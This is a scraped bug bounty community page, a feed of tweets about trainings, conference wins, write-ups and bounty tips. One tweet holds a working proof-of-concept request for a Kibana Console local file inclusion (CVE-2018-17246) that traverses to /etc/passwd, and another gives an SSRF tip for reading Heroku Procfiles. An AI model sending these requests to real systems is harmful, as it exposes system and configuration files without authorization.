BUG BOUNTY FORUM

The largest bug bounty community aiming to raise awareness for both hackers and companies.

[BUG BOUNTY FORUM @bugbountyforum]

Join our public Facebook group and join the chatter. 🎊🎉🍾 https://t.co/iNb19keWUI

[jack @fin1te]

Four year gap but here's a rambly, non-technical post about my past 4 years https://t.co/lqYxuhDdv3

[Ben Sadeghipour @NahamSec]

I’ll be going live with @stokfredrik for Bounty Thursday’s first episode on YouTube in a little under ONE hour! https://t.co/2Vk0eSOYhl

[Uranium238 @uraniumhacker]

After some discussions in @bugbountyforum and thanks to help from @yaworsk, @erbbysam and others here is a cool SSRF #bugbountytip if you are in heroku: 1) try calling /app/Procfile to get the installation instructions that a dev had when deploying to heroku, (1/2)

[STÖK ✌️ @stokfredrik]

HOW TO GET STARTED IN BUG BOUNTY (9+pro tips) https://t.co/FXv5JOeWax

A week ago i asked the bounty community for their top 3 best tips on how to get started. This is the result. Thanks everyone who contributed and your awesome support! <3

[Ben Sadeghipour @NahamSec]

Here’s a short clip of @smiegles, @0xteknogeek and @stokfredrik. Check out their reaction when they found out they have won MVT at #h1212!

[STÖK ✌️ @stokfredrik]

https://t.co/qzDL1ncryi

Finally got to edit the hackersummercamp vlog, bigups to the bounty community, @Hacker0x01 @Bugcrowd @defcon @realytcracker and everyone that makes this lifestyle possible. #bugbounty #hackers #summercamp

[Sam Curry @samwcyo]

New write up - "Reading ASP secrets for $17,000" - the really fun process of exploiting local file disclosure 🧐
https://t.co/JIzkytum1b

[23pds (山哥) @im23pds]

Elasticsearch Kibana Console插件LFI CVE-2018-17246

PoC：
GET /api/console/api_server?sense_version=%40%40SENSE_VERSION&apis=../../../../../../../../../../../etc/passwd

[HackerOne @Hacker0x01]

Congratulations to our #h1212 Most Valuable Team (MVT).

@stokfredrik, @0xteknogeek, @ratherbeonline, and @smiegles!

That's right -- MVT! These guys exemplified #togetherwehitharder, amazing job!

[Hackfest.ca @hackfest_ca]

Hackfest 2018 - DECADE Edition

Really happy to have @smiegles and @NahamSec with us for their training "Hacking Your Organization (One step at a time)"!

Thanks to be a part of Hackfest!

[Hackfest.ca @hackfest_ca]

Hackfest 2018 - DECADE Edition

Last minute registration for our training "Hacking Your Organization (One step at a time)" with @NahamSec and @smiegles

https://t.co/KdVWr5BMSb

[BUG BOUNTY FORUM @bugbountyforum]

First day of our @appsecUSA training was a success! Up next: @hackfest_ca (10/30/2018-11/1/2018). Signup here: https://t.co/5MfsnR6ZdJ

[Brett Buerhaus @bbuerhaus]

H1-5411 CTF Write-up by @erbbysam and I. @Hacker0x01 #h15411

https://t.co/JCHsGZ23Os

[Women In Security and Privacy (WISP) @wisporg]

Thank you @bugbountyforum for donating a free ticket to your 3-day training at @AppSecUSA "Hacking Your Organization (One step at a time)" Oct. 8-10! If you’re a woman with a background in web dev and an interest in hacking reply here for the ticket!

[Ben Sadeghipour @NahamSec]

#infosec friends: How many RT's until I am able to get a hold of the appropriate person at @stjude for a partnership with @bugbountyforum? Help me flood their timeline until I hear back :-).

[BUG BOUNTY FORUM @bugbountyforum]

We will be offering a 3 day training at both @hackfest_ca and @appsecusa in October! We will have more information available soon.

[BUG BOUNTY FORUM @bugbountyforum]

Thank you for the shoutout, @d0nutptr!

[publiclyDisclosed @disclosedh1]

DuckDuckGo disclosed a bug submitted by d0nut: https://t.co/YS0KK8ctHo #hackerone #bugbounty

[BUG BOUNTY FORUM @bugbountyforum]

Check out this week's AMA with @0xteknogeek. He likes Butter with jelly or jam on his toast.. in case you were wondering 😏

https://t.co/LDxdXZIomE

[d0nut 🦀 @d0nutptr]

LET'S GO TEAM MEATBALL

[BUG BOUNTY FORUM @bugbountyforum]

Bypass Admin approval, Mute Member and Posting Permissions for Only admins in Facebook groups https://t.co/YxDlAGH0yC